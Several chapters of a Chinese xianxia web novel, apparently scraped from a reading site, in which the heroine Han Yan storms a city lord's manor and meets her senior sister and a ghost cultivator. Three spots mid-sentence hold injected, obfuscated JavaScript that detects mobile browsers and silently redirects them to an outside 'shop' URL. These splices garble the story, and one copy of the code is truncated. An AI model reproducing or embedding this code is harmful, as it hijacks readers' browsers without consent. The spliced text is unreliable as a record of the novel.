子收进乾坤袋,而是斜着插进发中,没走两步,便听见一伙训练有素的侍卫已经将小偷抓住,拿回自己物品的妇人正在不断感谢。 来得还挺快。 “姑娘留步。” 穿着讲究的老人将她拦住,头发花白,笑得脸上的褶子都快糊成一团。 他身后还跟着一队之前匆匆晃了眼的城主府侍卫。 “姑娘可是来自仙门?老奴是城主府的管家,鄙姓王,奉城主之命前来迎接贵客。” 寒砚一头雾水,想说是不是找错人了,但话到嘴边又拐了个弯。 她谦和一笑,说出来的话却半点不客气,“王管家口中说着贵客,但一不见城主亲迎,二不见乘辇暖轿,如何要我相信你的诚意,而不是怀疑你们在糊弄我。” 王管家闻言懵圈,她要不要听听自己在说什么? 喊她一声贵客就真把自己当回事了? 但想起城主的吩咐,他现在还不能发作,咬牙:“此事是我之过,回去定会向城主请罪,还望贵客先随老奴前往城主府。” 他一脸为难:“毕竟这是在大街上……” 一群人站在一起,很难不引人注目,路过的行人都纷纷投来好奇的目光。 即便知道是城主府的人办事,但还是在好奇心驱使下,探出脑袋来看。 见王管家面色青白,神情隐忍,寒砚丝毫不知收敛。 “那又如何?丢的是你们的脸面,与我何干?莫非是瞧不起我出身小宗门?我告诉你,修真界卧虎藏龙非尔等蝼蚁可以想象,待我回去禀报师长,你们如此轻慢于我……定要你们全部付出代价!” “贵客息怒,此事是老奴考虑欠妥……”王管家哆哆嗦嗦就要给她跪下。 按照她以往人设,寒砚应该拦的,但今日不同往日。 她一脚踢在王管家膝盖上,“要跪就麻溜点,认错连基本的态度都没有,算什么认错?” 话音刚落,整条大街都仿佛被按下静音键,不过短短一瞬,所有人和物恢复如初,短暂得像是场幻觉。 寒砚眼前一花,茫然地眨了眨眼。 刚才…… 王管家咚的声跪下。 他看上去颇有些年岁,佝偻着背,尽管保养得还不错,也不能掩饰其早已年逾古稀。 就连待在她衣袖中的师无故都觉得她过分。 寒砚看着眼前的一幕,没有半分触动,理所应当道:“此乃小惩大诫,算了,本姑娘今天心情好,不和你们计较,带路吧。” “……是。” 师无故魔在屋檐下,不得不低头,感慨:“这人脾气可真好。” 要是他的话…… 算了,要是他的话,他也跪。 寒砚危险道:“你是说我脾气不好喽?” 师无故:……不然? “我不是这个意思!对了,你这是要做什么?你不是第一次来吗?” 寒砚没在意他明显的糊弄,“是第一次来啊。” “那你还……?” 她悠悠回道:“任务牌中的描述太过简略,就简简单单一句话:‘半月前,丰城怪事连连’。具体什么事、什么作祟、伤亡如何等皆未提及,这座城你也看到了,位置偏但面积不小,自己打听还不知要多少时间。” 若非传回消息的弟子魂灯尚且正常,任务堂也不会没把这当回事。 “修真界的一城之主,起码是个元婴修士,通常由距离最近的十大仙门委任。我进城时,以对方的修为肯定早已察觉,所以才派人过来。既如此,我不如干脆就借城主府之手。” 而且身为城主,对方肯定知道点什么。 25. 第25章 路上,寒砚没有再作妖。 城主府坐落在城东,从外面看,隐隐可见低调的奢华。 王管家领着人进府,穿过假山和亭榭,再走过一段幽寂的小径,最终抵达给寒砚安排的住处。 “贵客,城主现在正在处理城中事务,还请先休息片刻,等待城主召见。” 王管家看似恭敬地弯腰,但说话的语气难免高高在上。 这里毕竟不是外面大街,而是他们的地盘。 任她再放肆,也不敢在这里闹事。 王管家想起街上发生的事情,身上杀意涌动。 “有什么事能比见贵客还重要?城主既然忙不开身,你带我去见他也是一样的。”寒砚善解人意道。 王管家弯下的腰挺直,看向她的眼神冰冷得像看死人,“贵客还是不要乱走的好。” 抬手,“还不送贵客进去休息。” 他身后的两个侍卫身上爆发出诡谲阴冷的庞大气息,从左右两方过来,想将寒砚强行带进去。 王管家嘴角扯开怪笑,一个才筑基的小丫头,还敢在他面前狐假虎威。 也就是城主下令要活的…… 他转身离开,准备去向城主汇报。 两个侍卫朝寒砚伸出手,落在她身上的目光毫无波澜,不像人,反倒像两个被操控的死物。 她不满地嚷嚷:“喂喂,你们有点过分了,怎么能这么对客人……” 眼前这两个侍卫起码有着金丹期的修为,但是寒砚很确定,在王管家开口前,他们就是个普通人。 “请贵客休……!” 银白色的无弦弓袭来,给两个侍卫一人来了一下,金丹期的修士身体硬度极高,这两人虽是伪金丹,但也不遑多让。 震得寒砚虎口发麻。 两人吃痛,一个直直往后倒,耳中传来阵阵嗡鸣,天旋地转,眼冒金星。 王管家听到后面声音不对,倏地转身,啪的被银白弓身砸中脸,惨叫了声,额头鲜血直流,鼻子断裂。 寒砚偷袭成功,掐着他脖子将其按倒,从乾坤袋中拿出绳子把人绑住。 在她绑王管家时,后面两个侍卫忍着痛,再度朝寒砚出手。 “噗。” 黑气化为触手状,穿过两人胸膛。 两个侍卫脸上还残留着惊惧,举剑的动作停在半空,黑气消散,两人身体一软倒在地上,气息全无。 王管家脸上血色全失,颤声道:“你要与我们城主府为敌吗?” 寒砚惊讶,“你怎么会这么想?我难道不是你们的客人吗?虽然你们的待客之道小众了点,但也不是不能接受。” 她拿弓拍了拍王管家的脸,笑眯眯道:“好了,麻烦你现在回答下本贵客的问题。” “一个月前,你们丰城是不是来了个用剑的年轻修士,大概筑基中期的修为,名字叫赵景,他现在在哪儿?” 赵景,正是发布任务的人,只是个普通外门弟子,到现在都还未回宗。 寒砚并不认识他,但在进城那一刻,她便猜测这人多半是出事了。 “……”王管家耷拉着嘴角,眼神怨毒地瞪着她。 寒砚挑眉,指尖一动。 下一瞬,王管家瞳孔紧缩,张嘴就要发出惨叫,被寒砚冰封住嘴,只能发出呜呜呜的闷声。 他额头狂冒冷汗,蜷缩着身子,脖子僵硬转动。 掉在地上的手臂还在轻微抽搐。 伤口处不断往外流血,他嘴唇颤抖着,“……在地牢。” 寒砚食指一勾,黑气拎着他衣襟,把他从地上提起来,“带路。” 王管家双脚落地,险些一软,硬撑着痛楚,颤巍巍在前面引路。 城主府的占地不小,王管家因为受伤,走路的速度并不快,寒砚也没催他,反而边走边打量城主府的布局。 寒砚没学过风水,但修行多年也涨了点见识,看出这座府邸风水极好。 如果说丰城的位置已经是风水宝地,那么城主府更是宝地中的宝地。 按理说,这样的地方不会轻易出现邪祟。 路上,偶然遇见城主府中的侍卫和侍女,他们面目狰狞着冲上来,被寒砚顺手解决。 和之前的两个侍卫一样,这些人明明就是普通人,但是跟她动手时,身上的气息明显不对劲。 一炷香后,还没到达目的地,反而途中频繁遇见府中下人。 寒砚幽幽盯着王管家的背影,一脚将人踹翻在地,“你不会是故意带着我绕圈撞见人的吧?” 王管家疼得冷汗狂流:“不敢不敢,老奴这就带贵客过去……” 这回王管家没敢忽悠她,他爬起来,踏过地上侍女的尸体,沉默往前。 城主府十分安静,饶是寒砚在这里搞出了这么大动静,那位神秘莫测的城主也不曾出现。 寒砚也不多问,像尊杀神一样跟在王管家身后。 终于,两人找到一处偏僻的入口。 王管家扭动机关,门在眼前轰隆打开。 城主府的地牢设在地下,一进入,阴暗潮湿的气息迎面而来,寒砚五官敏锐,甚至还听见不远处虫鼠活动的声音。 过道两边油灯燃烧,时不时发出极轻的噼啪声。 凉意袭来,王管家嘶地倒抽了口气。 他断臂处的血还没止住,所过之处都留下一小摊血迹,脸色也愈发难看,甚至隐隐有所发青。 寒砚视线从地面的血迹扫过,落到他身上,眼底划过深思。 正常人流这么多血,早该休克晕倒了。 地牢中一片空旷,寒砚跟着王管家往里走,一路上没看见一个犯人。 “为何牢中无人?” “……城主爱民如子,作奸犯科者极少。” 寒砚似笑非笑,“你看我像傻子吗?” 王管家没有应声,只是一昧地埋着头往前走。 即将拐弯时,他突然速度快到不似凡人,眨眼就踏出下方不甚明显的门槛。 头顶上方发出声巨响,沉重的铁栅栏落下,将他与寒砚分隔两端。 他站在另一端,转身看向寒砚,苍老的面上露出个阴诡的笑容。 然后这笑只维持不到一秒,便永久留在脸上。 艳红的血从胸口喷涌而出,王管家死不瞑目。 寒砚杀掉王管家后,周围的机关同时发动。 过道两旁的油灯由近及远依次熄灭,她抬手想用灵气点燃,但指尖燃起的火花连着光线一起被黑暗吞噬。 破空声起,带着倒钩的铁链从四面八方飞来,她鼻尖一动,嗅到夹杂着血腥味的恶臭。 这些铁链上还残留着不少发黑腐烂的血肉,想来应该夺走了不少人的性命。 寒砚脸上笑容淡去,唇线拉直,站在原地一动不动。 哗啦—— 眼瞧着就要碰到她的铁链滞留在半空,然后寸寸湮灭成铁粉,飘扬着落下。 黑色长戟划开铁栅栏,被寒砚一脚踹开,哐当砸到墙壁上。 她提着长戟,不徐不疾迈出,经过王管家时裙摆扬起,落下时,尸体在她身后化为尘土。 “看见了吗?这就是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888599|192129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听话的下场。” 安静得堪称死寂的地牢空间,少女轻灵的声音回荡。 师无故打了个哆嗦,沉默片刻,“不必时刻敲打我。” 寒砚笑容灿烂,“希望你是个聪明人。” 地牢不算大,寒砚闲庭散步般一间间看过去,找得仔细,她来此可不止是救人。 很可惜,她走到尽头,也没有发现任何被关在这里的活人。 这很不对劲,一座城这么多人,治安再好也不可能一个犯人都没有。 总不能刚好处死了波,赦免了波吧。 貌似也不是没可能……才怪! 寒砚又回过头来,这次把师无故拽了出来,“帮忙找下。” 小木偶人伸了个懒腰,朝其他地方飞去。 一人一魔几乎将地牢翻了个面,也没有找到什么线索。 寒砚猜测,关键估计还是在那个城主身上。 如今不在剑宗地界,寒砚干脆没将师无故收起,放任他坐在自己肩头。 出地牢后,寒砚光明正大地到处搜索。 城主府的下人数量不少,除了受到管家影响指使的,其他人并不认识她,也对她并没有什么莫名其妙的敌意。 花园中正在修剪花枝的侍女被突然冒出的寒砚吓了一跳,惊魂不定地捂着心口,“这位……姑娘是?” 寒砚露出个十分友好的笑,“我是你们城主的客人,今天王管家带我入府的。” 她忧愁叹气:“走到一半,管家半路被人叫走,临走前给我指了路,但我一不小心迷路了。” 侍女对她的话半信半疑,上下打量寒砚。 眼前的少女年纪不大,看起来才刚及笄不久,身上的衣裙款式简单但用料不错,虽然刚刚从树后面冒出来有点吓人,但言行举止自带礼仪风度。 总之不像宵小。 侍女终究是信了她的说辞,“姑娘要去何处?” 寒砚抿唇笑得腼腆,“我找你们城主有些事情,管家说城主如今不在府中,要我去书房等候。” “啊……城主大人的书房不可以轻易进去的。”侍女拿着剪子,满脸纠结,“城主应该快回来了,不若我先带姑娘去前厅吧。” 寒砚笑容未改,眼底似有水波纹荡开,声音空灵飘渺。 “实在不方便的话,你告诉我城主书房在何处,我自己过去,不会说出你的。” “……” 侍女呆呆地与她对视,然后抬手指了个方向,没什么起伏道:“再向右拐个弯就是了。” 寒砚朝她指的方向而去。 待她的身影消失在拐角,侍女一个激灵清醒,四处张望,没见到方才问路的人,满脸疑惑地挠了挠头,继续修剪花枝。 寒砚怀疑,是不是整个城主府的防御都集中在丰城城主的书房。 她远远地看着书房的木门,抬头,不经意间扫过房顶和一侧的树。 几乎能藏人的地方都蹲守着暗卫。 但凡有人想做点什么,只怕会被当场砍成臊子。 寒砚抬手,丝丝缕缕的黑气散出去,没有引起暗卫注意。 黑气爬上树枝和房顶,从后方偷袭,将人全部拧了脖子。 寒砚推开书房门,走进去。 书房的布局很是简洁,处理公务的书桌,放满各种书籍和古董和博古架。 桌上整齐摆放着文房四宝,看那样子,似乎久未用过。 寒砚走到博古架前,正要去检查有无什么机关时,背后空气传来细微的波动。 她蓦地回首,朝来人一掌拍出。 26. 第26章 双掌相接,刺骨的寒冷沁入骨髓。 面目模糊的黑影低声惊呼,阴冷的视线扫了寒砚一眼,反应极快地破窗而出。 寒砚没有第一时间去追,垂眸看了眼掌心残留的黑气,眉间轻蹙,然后才跟着跳窗追去。 这个偷袭她的家伙,修为目测在元婴后期,是她进入丰城后遇到的修为最高之人。 虽然对方未必是人。 这样的修为,必然不可能是喽啰。 夜凉如水,星子高悬。 入夜之后的丰城因为宵禁,街上并无行人商贩。 家家关门闭户,寂静无声,不见一丝光亮。 好在不管什么样的黑暗都不会影响寒砚视物。 她不远不近地跟在黑影身后,像猫捉老鼠一样逗弄,气得对方险些掉过头来跟她打一架。 但不行,打不过! 黑影偶尔回头看跟在自己后方不远处的家伙,无论如何也甩不掉,不禁咬碎一口银牙。 可恶! 为了摆脱寒砚,黑影开始在丰城中兜圈子,凭着自身的特殊性,化为黑雾在各个狭小的空间里钻来钻去。 本体是人,追得略显狼狈的寒砚:“……” 黑影的这个方法似有奇效,在围绕着这座城跑了第二圈后,后方终于没有了那道白色的身影。 不过黑影很谨慎,再三确认后,这才出了城门。 出城门后,黑影并未走太远,越过护城河,唰地飞入密林。 浅淡月光穿过树叶,在地面映出狰狞扭曲的树影。 树林和丰城城内一样安静,连虫鸣声也不曾听见,仿佛没有一只活物。 黑影还在继续往里,最终在一处小山丘前方几米处停下。 小山丘上,立着道如雪清冷的身影。 那人无奈道:“我不是说了,不要随便去城里吗?很危险,真要去,起码和我说一声。” “抱、抱歉。”黑影怯怯开口。 那人转过身,缓步走下山丘。 “阁下既然来了,何不现身一见。” 妃色衣裙的女子身材高挑,纤细柔韧的腰肢上缠有一串玉色清心铃,行走间响起清脆悦耳的铃声。 冷白的手修长如玉,此时正撑着把墨梅花纹的骨伞。 伞下,是一张寒砚分外熟悉的脸。 眼覆白练,雪肤乌发。 整个人都好似笼罩在浅淡的薄雾中,清冷出尘,看不真切。 黑影明白什么,倏地转过身,瞪大眼看向从暗中走出的白裙少女。 身上黑气翻滚,蓄势待发。 “大师姐。” 寒砚将师无故塞进袖子里,乖巧地跟人打招呼。 是的,此人正是无妄剑宗,唯一一个修无情剑道的天才剑修。 ——剑宗大师姐风无双。 风无双一愣,下意识出声,“小师叔?” 旋即,周身的冷意散去,大步朝寒砚走去。 偌大的无妄剑宗,寒砚和风无双的关系最为特别。 两人的称呼各论各的。 世间美人万千,有的人皮相美,有的人骨相美,而风无双无一不令人惊艳。 当然,最叫人见之难忘的还是她的剑——溯流光。 风无双拉过她的手,检查她有没有受伤。 寒砚却好似触碰到一块冰,冷得没有一丝温度。 “瘦了,可是门中小辈照顾不周?”风无双道,平静淡漠的话中难掩心疼。 寒砚:“……” 有种瘦叫做师姐觉得你瘦? 风无双没等她开口,又道:“丰城偏僻,你身子骨虚弱,怎会来此?身体可还好?” “我是接了个任务过来,身体无恙,师姐不必太过担忧。” 没有提风无双魂灯变故一事,视线转向那道死死盯着她的黑影,“师姐,这位是?” 风无双这才想起寒砚是跟着黑影过来的,朝黑影伸招手,“轻月,你过来吧,这是我宗门的小师叔,不是坏人,别怕。” 黑影犹豫片刻,还是听话地散去身上黑气,显露出原貌。 是个长相美丽的年轻女子。 寒砚意外地扬起眉梢。 她神情有些瑟缩,见风无双喊她,飞快小跑过来躲在风无双身后。 寒砚看了眼女子,又看了眼风无双,诡异地发现二人五官还挺相似。 “她叫楼轻月,被歹人所害的修士,死后不得已转为鬼修。”风无双见她不愿出来,没强求。 “她生前大概是受了刺激,导致记忆缺失,心智有损,但本性善良。你追着她过来,可是她做了什么?” 楼轻月虽然心智不全,但能够听懂风无双的话,怕她误会自己,急道:“无双,我没、没伤人。” 寒砚慢条斯理地开口,“遇见她时,她鬼鬼祟祟出现在我身后,不知道想做什么。” “书房,危险。”楼轻月从风无双身后探出个脑袋,一字一句认真对寒砚道:“有东西,会吃人。” “书房?你们在什么地方遇见的?” 风无双没想到自己千叮咛万嘱咐,楼轻月还是没听她的话。 “我接的任务是调查丰城,意外进了城主府。”寒砚说完还问了嘴赵景。 风无双并不认识这个弟子,也不曾在城中见过疑似剑宗弟子的人,“轻月是丰城本地人,拜在隐神阁门下,不知为何人所杀,我怀疑是城主,因此勒令她不要走动。” “丰城城主如今并不在城主府。”寒砚道。 “不,他在。”风无双声音一沉,“每个月的这一天他都会消失一天,但我可以确定他还在丰城之内。” “先进城吧,具体的情况我慢慢跟你说。” 风无双作为剑宗大弟子,未来的掌门,被无数人寄予厚望,时常在外历练。 尤其她修的还是剑宗最晦涩难懂的无情剑道,淬炼心境至关重要。 大概两个月前,她感知自己的修行进入瓶颈,迟迟无法晋升化神,无奈之下来找隐神阁的大祭司算了一卦。 “大祭司告诉我,我心有牵挂,故而难以进阶。可我冥思苦想,终不得解,直到我后面和大祭司几次交谈,才知我的亲人尚在人世。” 风无双是被逍云掌门从修真界当孤儿抱回去的,因为父母中至少有一方是修士,门中长老鲜少有人精通卜算,都只当她父母双亡,不曾提及。 在这样的环境下长大,风无双也懂事得没多问,也被带着以为自己的双亲已经不在人世。 如今亲缘竟已影响到她的修行,只怕她父母如今的处境与她有关。 因果纠缠,叫她心绪难宁。 在大祭司的帮助下,她来到丰城。 “那师姐可是找到了伯父伯母?” 寒砚与风无双并肩走在空无一人的大街上,楼轻月作为鬼修,安静飘在风无双身后,像个背后灵。 修士的后背何其敏感,寒砚没想到风无双会对一个认识不久的人如此放心。 她很想问,师姐你真的没什么姐妹吗? 风无双点头,又摇头。 “只找到了父亲,没找到母亲。” “可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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看来师姐这个爹不简单啊,都能知道她进城,怎么可能不知道她杀了他府中的人。 可他,这个叫方不悔的丰城城主跟没事人一样,看她的眼神平静得可怕。 一路上,方城主和风无双在说话,寒砚没机会插嘴。 她落后半步,几乎明目张胆地盯着方不悔打量。 她倒要看看这个城主是何人物。 化神修士…… 确实有把刷子。 …… 风无双作为城主的女儿,方城主以培养父女感情为由,将她的住处安排在主院。 而寒砚这个客人,则被安排在有段距离的客房。 王管家死了,方城主应该是刚回来,还没来得及让人顶上管家的位置。 随手点给寒砚带路的人好巧不巧正是之前在花园撞见的,修剪花枝的侍女。 对方见到寒砚,也很意外。 将人带到客房后,侍女转身欲走。 寒砚将人喊住。 “客人还有什么问题吗?” 寒砚微笑:“能和我说一下你们城主府有几位主子吗?我怕到时候不小心冒犯了主人家,给师姐惹麻烦。” 侍女回:“府内过去城主一位主子,如今又多了小姐。” “你对城主夫人知道多少?” 侍女看了寒砚一眼,怯怯道:“夫人已仙逝近百年,我入府晚,并不清楚。” 她如今不过十五六的年纪,不清楚也正常。 “你们知道城主有个失踪百年的女儿吗?” 寒砚见过正常家庭的相处,那方城主对风无双虽还算轻声细语,可他明显并不在乎这个女儿,不然不会当着她的面指责楼轻月…… 不对,也不是完全不在乎。 比起爱,更像是担心她出事,会危及他利益。 27. 第27章 侍女道:“知道的,小姐失踪后,城主一直在找,甚至还请过仙门的道长帮忙,可惜最后都没得到什么结果。” “大家都劝在城主放下,这么多年没消息,恐怕小姐……”她话音一顿,慨然道:“还好上天有眼,让小姐回到了城主身边。” 除此之外,侍女便什么也不清楚。 见左右问不出什么,寒砚挥手让她离开。 侍女离开后,寒砚和衣躺到床上,把师无故放了出来,“去查一下书房。” 方城主的修为比师无故要低上一个小境界,再加上木偶没有活物气息,不会被人察觉,她亦可以借助他的双眼见他所见,闻他所闻。 所以让他去再合适不过。 寒砚直觉书房里应该没什么要紧的东西。 书房里并没有什么常用的痕迹,外方的看守浮于表面,里面没什么实在的防护。 当然也不排除主人自大,或者有别的什么隐藏手段。 师无故嘀嘀咕咕出门后,寒砚躺到房间里的床上休息。 城主府不缺钱,准备的客房自然也是不错的。 她双手交叠搭在小腹上,呼吸平缓,看上去已然陷入沉睡。 深夜。 木门被轻轻推开,发出声几不可闻的吱呀声,月光从缝隙洒落,似乎有东西进来,但却并未看见影子。 床上的少女依旧穿着白日里的长裙,没什么血色的脸庞柔软恬淡,她没盖被子躺在床上,夜晚的寒气无法影响修士。 但……修士也需要睡觉吗? 楼轻月曾遭到重创的脑子不太灵活地思考,黑而明亮的眼睛迟钝的转动了下。 不过睡着了也好,这样就不会痛苦了。 眼前少女的灵魂,散发着过于美妙的气味。 吃了她,她就可以…… 就可以…… 不断拉长的阴影投在床上,将月光全部遮挡,随着楼轻月的靠近,空气中的温度快速下降。 睡梦中的寒砚感受到冷意,放在小腹上的手摸索着,拽过身旁的被子。 ——被子却是朝楼轻月迎面而来。 楼轻月:“!” 寒砚蓦然睁开眼,眼底没有半分朦胧睡意,她单手撑床而起,隔着被子,一把将楼轻月按倒在地上。 楼轻月如今身为鬼修,下意识地化为鬼气遁走。 鬼修和人、妖不同,只要他们不想,一切实体都难以碰到他们。 但是楼轻月惊悚地发现,自己根本挣脱不了! 周身的鬼气凝滞,她现在宛如一个凡人女子,无助且止不住的恐惧。 明明已为鬼修,此刻却诡异的浑身发寒,被欲望影响的大脑突然一片清明。 隔着被子,楼轻月看不见上方压着她的少女,对方力气极大,被子完全贴合,挤压着她口鼻,不留任何缝隙。 如果她是个活人,只怕早已窒息。 “唔,放开我……” 楼轻月闷声呼喊,手脚被寒砚禁锢着,动弹不得。 寒砚一把扯下被子,露出下方女子出色的脸。 嘴角翘起,“楼姑娘半夜不休息,来我这做什么?” 楼轻月与她对视了眼,又匆匆挪开视线,内心惴惴不安道:“……我、我怕你出事。” 俗话说鬼话连篇,之前寒砚就怀疑她的说辞,现在更不可能相信她口中的半个字。 “你不是应该和师姐在一块吗?师姐如何了?” 遇见风无双纯属意料之外。 寒砚也很好奇,她是否会走向故事中的既定的命运——无声无息地死在某个不知名的角落。 “无双自然是在她的房间里休息。” “是吗?如此最好。”寒砚见她应该没撒谎,手松开被子,扣住她的肩膀将人从地上拎起。 拍了拍楼轻月的肩膀,“乖,今晚就待在我屋里,别乱跑。” 身后的门应声关上,楼轻月僵硬垂首,但见眼熟的黑气从寒砚脚下如水波纹漾开,爬上房门和房梁,将整个房间笼罩。 她不安地开口:“你是……鬼?” …… 风无双隐隐察觉到不对劲。 可一时间又说不上来。 方城主坐在她对面,疲惫地揉了揉太阳穴,对她道:“明天的中元节,也是你母亲的祭日,你虽然可能对她没什么印象,到时候还是陪我去看看她。” 风无双不是个对人情绪多敏感的人,甚至因为修无情道,感情上有些迟钝。 平日在宗门中即便有活泼的弟子大着胆子来接近她,也很快被她的冷脸逼退。 她心存愧疚,却无意多加解释。 既然于她大道无益,又何须在上面浪费时间。 但纵然如此,她也能感受到,方不悔提及她母亲时,没有半分温情。 她垂下眼帘,遮掩住眼底的冷漠,淡淡道:“自然要去祭奠母亲的。父亲之前不愿多说,如今可愿和我多聊下母亲,以免我到母亲墓前无话可说。” 方城主手上动作一顿,没什么情绪的视线落在她遮住双眼的白练上。 刚和这个女儿相认的时候,他就问过她眼睛的事,顺便也知道了她现在在无妄剑宗修行无情道。 无妄剑宗啊,十大仙门之一! 其中闻名整个修真界的无情剑道,更是传说中的至高剑法。 剑宗上万年没人能参悟的剑道,被他这个好女儿学会了。 多么…… 令人嫉恨的天赋和运气。 风无双用白练遮挡视线,也并非手上,而是为了更好地感知大道。 方城主道:“你外公是丰城的上一任城主,你母亲拜在隐神阁大祭司座下,她活泼聪慧,生性善良,最是心软。” “她和你一样,一心追求大道,与我成亲算是偶然。” 他声音低沉,说着很快又挪开视线,像是陷入回忆。 “……当时她怀着你,却依然坚持亲自去除掉作乱的魔修,不甚中了暗算,强行将你护着生下,最后陨落在魔修手中。” “好了。” 他语气中有轻微的不耐,拂袖站起,掸了掸衣袍上的褶皱。 不容拒绝道:“明日是中元节,你刚回来,到时候需要同我一起出面,早些休息。” 睡眠对修士而言并非必需,但太过费神也会感到疲惫。 “明日,我不想见到一个没精打采的你。”他画中隐隐带着警告。 “我会好好休息。” 风无双将人送出门,站在门口,静静地看着他的身影渐行渐远。 确认方城主已经走远,她从袖中拿出一块玉石。 和方不悔靠近,玉石便会散发出微微热意。 这代表对方确实和她有不容割断的血缘关系,是她的生身父亲不假。 宗门内,师尊对她很好,长辈和师弟师妹们也很好。 可能因为一开始就修行无情道的原因,她并未对父母有过什么憧憬。 她孤身长在无妄剑宗,但不缺关心和爱护。 虽然从目前来看,方不悔也并没想过要和她父慈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888601|192129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子孝。 风无双冷呵一声,关上门,回到床上打坐修炼。 …… 天光破晓,夜色逐渐散去。 寒砚悠悠转醒,睁开眼就见木偶小人四仰八叉地躺在自己身边。 侧首,对上一双幽怨的眼眸。 楼轻月浑身上下都在冒黑气,怨气重得快掀翻房顶。 “你,可算是醒了!” 说完,她龇牙咧嘴扑上来就要咬寒砚,却在靠近寒砚的瞬间被无形的屏障弹开。 楼轻月不死心,盯着寒砚的双眼越来越红。 红得像快滴出血来。 她又扑上来,又被弹飞。 像不知疼痛一般,肉眼可见身上的黑气逐渐淡化,身形也不如初见时凝实。 寒砚整理了下自己的仪容,又把疑似消耗过大,此时睡得正沉的师无故扔进袖子里。 见楼轻月还没放弃,又要冲上来,她一拍脑袋,懊恼道:“不好意思啊,忘了你现在有点控制不住自己。” 口中说着抱歉的话,表情却完全是看好笑的姿态。 她并指,隔空点在楼轻月眉心,极为相似的黑气溢出,钻进其身体中。 玩味地想着,风无双大抵是搞错了件事。 楼轻月不是受伤导致的心智受损,而是因强行转修鬼道受到反噬,散失了部分神魂,不仅失忆,还影响了脑子。 人死为鬼,鬼死为聻。 这世间生灵,除了人,可不会讲究什么名教礼法。 譬如妖魔鬼怪,多是顺从本能行事。 丧失部分神魂的楼轻月,偶尔会被欲望控制,想要吞噬一切可以强大自己的东西。 作为人的楼轻月或许确实善良,但作为鬼的楼轻月,只会在风无双面前装出善良。 寒砚收回手。 黑气断开,楼轻月口中发出不爽的轻哼,皱起脸,被从强制唤醒。 一恢复神智,就见寒砚用诡异的眼神看着自己,被吓得左脚绊右脚,直接摔在地上。 寒砚走到她面前,弯腰笑道:“胆子这么小,还敢主动化鬼?化鬼就算了,为何不去鬼域?” 在浮华界的五域中,妖域和鬼域的存在感都不高。 妖域是因为内斗导致实力大减,无力参与浮华界的各种大事,久而久之,逐渐被世人忽视。鬼域则是众鬼多来自人界,只有少部分是低阶修士,底层鬼实力不强,再加上鬼域的管理十分严苛,和外界的交涉甚少。 活的生灵不能进入鬼域,鬼域中的生物也极少离开。 在五域中最为神秘。 严格意义上说,人和鬼已是两种生物,想从人道转修鬼道并不容易。 寒砚在修真界生活的时间有限,很好奇楼轻月是如何做到的。 是死后?还是生前? 楼轻月听不懂她在说什么,手撑着地面,艰难地往后挪,与寒砚拉开距离。 “所以你到底是个什么东西?” “如你所见。”寒砚无所谓地耸肩,“可以你觉得我是什么我就是什么。” 楼轻月感觉自己被忽悠了,一个用力,从地上跳起就跑。 黑气缠上楼轻月的四肢将她拉回来,寒砚揪住她的后衣领,十分友好地道:“你既然是大师姐的朋友,那么自然也是我的朋友,走,这位好朋友,让我们一起去找我们共同的朋友。” 楼轻月挣脱不开身后的魔爪,只能在心里暗戳戳地破口打骂。 真骂她不敢。 最后只能跟个小苦瓜一样被寒砚拽着走。 28. 第28章 风无双的母亲正是死在一百年前的中元节。 修真界的中元节和寒砚之前世界的不太一样,在修士看来,死亡就是死亡,即便转世也不是原来的人,并不像凡人一样在意来世,也不会如凡人那般敬畏鬼神。 但他们依旧会在这一天缅怀逝去的亲人,世事无常,修士与天争命。 比之死后,修士更在意当下。 寒砚拉着楼轻月找到了风无双的院子,她似乎也在等她。 “师姐,要出去逛逛吗?” 风无双看见两人“握”在一起的手,忍俊不禁,“看样子你们相处得不错。” 也是,她的小师叔脾性再好不过,又会有谁会不喜欢她呢。 风无双感慨一句,惋惜道:“我等会要同城主去看望母亲,之后估计还要耽搁会儿,等结束我再来找你们,不必刻意等我。” 她莞尔道:“我会尽快的,不会让你们等太久的。” 寒砚小鸡啄米般点头,杏眼明亮澄澈。 风无双转向楼轻月,“还未想起来仇人是谁吗?” 楼轻月用力甩开寒砚的手,跑过去抱住她的腰,如同撒娇一般,苦着脸道:“没有,无双我不想离开你……” 楼轻月身量和风无双差不多,此时脑袋靠在风无双肩膀上,刚想告寒砚的状,就见正主走至桌前,拿起一个茶杯…… 短短呼吸间,茶杯在她手中哗啦碎裂。 “小师叔没事吧?” 正在给楼轻月顺毛的风无双被声音吸引。 “手滑,不会有下次的。” 楼轻月:“……” 手滑碎的是杯子,不手滑碎的就是她的灵魂? 这是威胁! 赤裸裸的威胁! 风无双似有所察,一垂眸就看到楼轻月眼中未曾来得及掩饰的愤愤,不由皱了皱眉。 她自认看人眼光不会出错,甚至因为感情淡漠,多数时候更能摒弃个人喜好,较为客观地评判。 至少这些年来从未出错。 “轻月……小师叔是我的长辈,我不在,你要听她的话,保护她,不要随意在外面暴露自己,明白吗?” 风无双刚到丰城不久就遇见了楼轻月,经过这段时间的相处,她可以肯定对方是个极为澄澈之人。 也不知对寒砚哪来的敌意…… 风无双揉了下眉心,拿出一个锦囊交给寒砚。 还没看,寒砚就知道里面是什么。 